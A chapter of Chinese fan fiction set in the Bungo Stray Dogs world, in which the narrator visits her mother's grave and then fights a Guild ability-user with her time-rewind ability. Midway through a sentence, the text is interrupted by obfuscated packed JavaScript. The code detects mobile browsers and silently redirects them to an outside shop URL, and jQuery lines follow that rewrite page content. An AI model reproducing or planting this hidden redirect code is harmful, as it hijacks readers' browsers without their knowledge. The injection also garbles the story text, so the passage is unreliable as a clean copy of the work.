从冒着泡泡的梦境中睁开眼,我趴在桌子上,身上盖着一件外套。
屋内没有其他人,只有收拾干净的桌面和一张便利贴。
“下次还是少喝酒吧——坂口安吾。”
我盯着那端庄优美的字体,虽然很想像是小说中醉酒那样睁开眼睛就断片,然后一脸疑惑地将这张便利贴抛之脑后,但遗憾的是我完全记得我在喝醉的时候做了多少……
什么拽着安吾的衣角说你可是织田作仅剩的几件遗物,一定要爱惜自己;揪着安吾的头发嚎你们怎么又后退了,土地荒漠化太严重了。跟着来的两个异能者也没逃过,摁着他们的脑袋跟他们强调一定要早点下班别像安吾一样年纪轻轻就秃顶……
我捂着脑袋,眼神放空。
回来了,记忆都回来了……
吾命休矣!!
虽然坂口安吾性格稳定,很少动怒但今天的事情怎么想也不会是轻易能够原谅的吧。而且别看他总是端庄自持,其实记忆力超好的,也就是说,他超记仇啊!
不行,这个家不能待了!住在堂堂异能特务科参事官辅佐大人对面,总觉得背后凉凉的。
我摇晃着推开家门,与门口不知道什么时候又回来的保镖们对视两眼,然后摇摇晃晃的走出去。
其中有几个想要跟上,也不知道是属于哪个势力的,反正都被我大惊失色地回绝了。
我就像小说桥段中经典被囚禁的女主,匆匆忙忙地上了计程车,神色之慌张甚至引得司机频频回头,询问我是否需要法律援助。
我说问题不大,我有充足的自我管理意识,会自己去跳海。
司机看起来更担心了。
一路到了目的地,司机还在担心的望着我。毕竟我又说跳海又去墓园的总感觉不太妙的样子。我装作没看到,付了钱笑眯眯摆摆手,沿着太宰给出的方向走去。
到地方了,才发现自己没有买东西。
我只能两手空空的望向前方刚建起没多久的墓碑,小小的,和墓地里的其他墓碑没有什么两样。我左看看右看看,总觉得看不到母亲生前时那种独特的气质。
难道是母亲的身体并没有在里面吗?还是短短几天,我就已经忘记她的样子了呢?
我跪坐在墓碑前面,手里没有花,没有酒,没有任何的祭品。只有天空连绵的大片的火烧云,将天空都染成橙红色,缓慢地舒张着;海风熏染着我的头发,太腥咸,并不好闻。
和那天在巷子里的一模一样。
我上身探出,依偎在墓碑前,想说很多,千言万语却堵在心口,化作随风散去的叹息。
我只像以前那样沉浸在她的拥抱里,莫名感到心境澄澈、双目明朗。
在此之前我始终都是闭着眼睛,懵懂地站在这个世界上,摸不到爱也看不到恨,于是脚底空茫茫的,除了一个虚无缥缈的念头,便再也没有什么能够支撑我的行走。
可是如今我莫名抓到了什么。在这短短几天,我发现我能够看到其他人对我的付出、在意、迁就,哪怕是厌恶,也是能够真切感受到的。这让我感到新奇的同时,又难免有些手足无措。
我后知后觉地发现,以前的我似乎错过了太多光景,也对不起很多人。
“扫墓的话,拿最新款的沐浴露会不会不太合适啊,而且我又不知道你喜欢什么味道。”我嘟囔着,自己也不知道自己在说什么,“要我把你女儿的墓也迁过来吗?你应该会想见到她的。但是我得先去侦探社问问具体的情况……真是的,话说一半的习惯能不能改改。”
我东一句西一句地扯着,就好像里面的人能够听到一样。天色很晚了,月亮并不明朗,周围的一切都是黑漆漆的,冷意透到骨子里,无端让人发怵。
我等着母亲催促我赶紧回家,可是等啊等啊,等到那朦胧的月色升到头顶,也没有听到那一句嗔怪。
我是个乖孩子了,不应该让母亲费心。于是我哈着冻得冰凉的手,撑起跪坐太久的腿,一瘸一拐地向出口走去。
墓园没多远就是一条公路,夜晚本应该空旷寂寥,罕有人烟,但是这条公路却很热闹。有几个身形眼熟的人,我之前在门口看见过他们,身形壮硕,不苟言笑,看起来都是很厉害的人,此刻身上却都挂了彩。
对面只有一个人,一个异能者。
他的异能力可以撕裂触碰到的一切实体,包括子弹。
我身边的武装人员低声对我说道,然后让我快点跑。
可是我能跑到哪里去呢?公路上仅有的几辆车都已经被这个人的异能力摧毁了,即便是在只能勉强看见五指的夜晚,也能发现那几辆钢铁巨兽就像是孩童恼怒撕碎的纸团一样,四散在周围。
子弹没办法对付他,而如果肉搏,后果就会像这个告诉我情报的人一样,一整条手臂鲜血淋漓,连骨头是否还存在都不确定。
这么罕见的攻击型异能者,如果是在横滨,早就出名了。
如果是外来的,只有那个组织了。
初来便掀了港口黑手党的大楼,在外国有着庞大能量,被众多本土势力忌惮的。
【组合】
“您就是横滨的护工小姐吧。”黑暗中,看不清面容的异能者向我行了个绅士礼。在这个间隙又有两枚子弹向他射来,但都在接触他的一刻便四分五裂,“比资料里看起来还要脆弱呢。”
异能者的声音充斥着一种活力和热情,但这份热情在在粗犷的男声中便显得有些怪异起来。
“我听说了你的异能后就立刻找到弗朗西斯大人,恳请他给我这个机会。”他向我走来,还在说,“你和我一样,都是会为别人带来不幸的人。所以只有我才能带给你解脱,只有我,就连牧师大人也不行。”
肩负着保护职责的保镖们上前一步,想要从这个男人手中保住我。他们在这场战斗中尚且讨不到好,异能透支的我落到这个人手里绝对会像纸巾一样被撕扯到碎片都不剩。
但这又有什么用呢?无非是先后顺序的问题,于是我对他们说:“退下。”
我没有喊,声音不大,而且我并没有命令他们的权利,但是众人都因我话语停下脚步,犹豫两秒,缓缓退开,只是持枪的手仍然没有放下。
我看不清对面人的表情,只是感觉他的笑容更加灿烂了,甚至语气都特
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702927|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地变得温柔,对我说:“没关系,疼痛只是很短~很短的时间,你很快就可以离开你这灾难一般的异能,回归到最本质的样子了。”
我由着他接近,闲聊一般问:“你也认为你的异能是灾难吗?”
对面人悠闲地想了想说:“我异能觉醒的那天,亲手撕碎了我的兄弟。”
我恍然:“很痛苦吧。”
对面人哈哈一笑,并不回答。
“异能不是恩赐,你我都明白这一点。”我由衷叹息道,“既然如此,就由我来给予你解脱吧。”
对面人警惕地停下脚步,但很快恢复了气势,语气不再像刚才装出来的那样温和:“别装腔作势了,小丫头。你早就在某次袭击中受了重伤,能不能用出异能还是两说,”
他恶劣笑道:“就算能用出来,你的异能也是无差别攻击吧,难道你想牺牲这些为你卖命的手下,来保全你自己吗?”
这些人不是我的手下,而且我也不在乎其他人的性命——以前的我会这样说。但现在我想我不得不承认他的威胁是有效的,这也是我会让其他人后退的原因。
我的异能经历异能特务科的简单治疗后,已经有了缓慢恢复的感觉。非要强撑着使用一次也不是不可以。
那些人就要退到安全距离了,只要我发动异能,我就可以隔空将这个人消除掉。
我盘算着这件事,那个人却看透了我的想法。突然间,他以一种不可思议的速度从我的身前闪过,在应对魏尔伦的肌肉记忆发动,我干脆倒地一滚闪过了他的抓来的手,他一击不得,借着惯性飞快抓住了我身后距离较近,似乎还想要掩护我的那名武装人员。
他得意地掐着武装人员的脖子,就像拎着一只鸡崽:“这下你是彻底黔驴技穷了。”
武装人员立刻就要举枪自尽,却被异能者飞快撕了胳膊和腿。不知是否是那种异能的关系,出血量并没有那么多。
也就是说,这场拉锯战还有的谈。
异能者的语气平淡,还有一种费解:“我的异能确实是一场灾难,但我对伤及无辜也没什么兴趣。我的任务目标只有你,小姐。反正都是要死的,何必还要继续挣扎呢?”
我仔细地想了想他的话,不由得点头:“你说得对。”
被迫成为人质的武斗人员咆哮着让我快走,他会拖住他,哪怕是全身被撕裂成碎肉,也不会拖累我。可惜我对碎肉没什么兴趣,而且我也不觉得我能跑多远,所以我没有动。
异能者的手触碰到我的脖子,我感到如同刀绞般的痛苦,脑袋移位,喉管可能也碎了,所以我连尖叫也没发出来。但那种痛苦并不很长,就像他所说,只持续很短的时间便消失了。
我的身体在脑袋落地之前极限回溯到我24小时之前的状态,而在这之前,我将压缩的异能全轰给对面的人,给他也来一份回溯大礼包,直接回溯到他很小很小的时期。
一直到他还没有觉醒异能,只是一个单纯可爱的小孩子的时候。
可惜我并没有看到他的模样,因为24小时之前的我还是一个重伤昏迷的病号——所以我不出所料地眼前一黑,当场完蛋。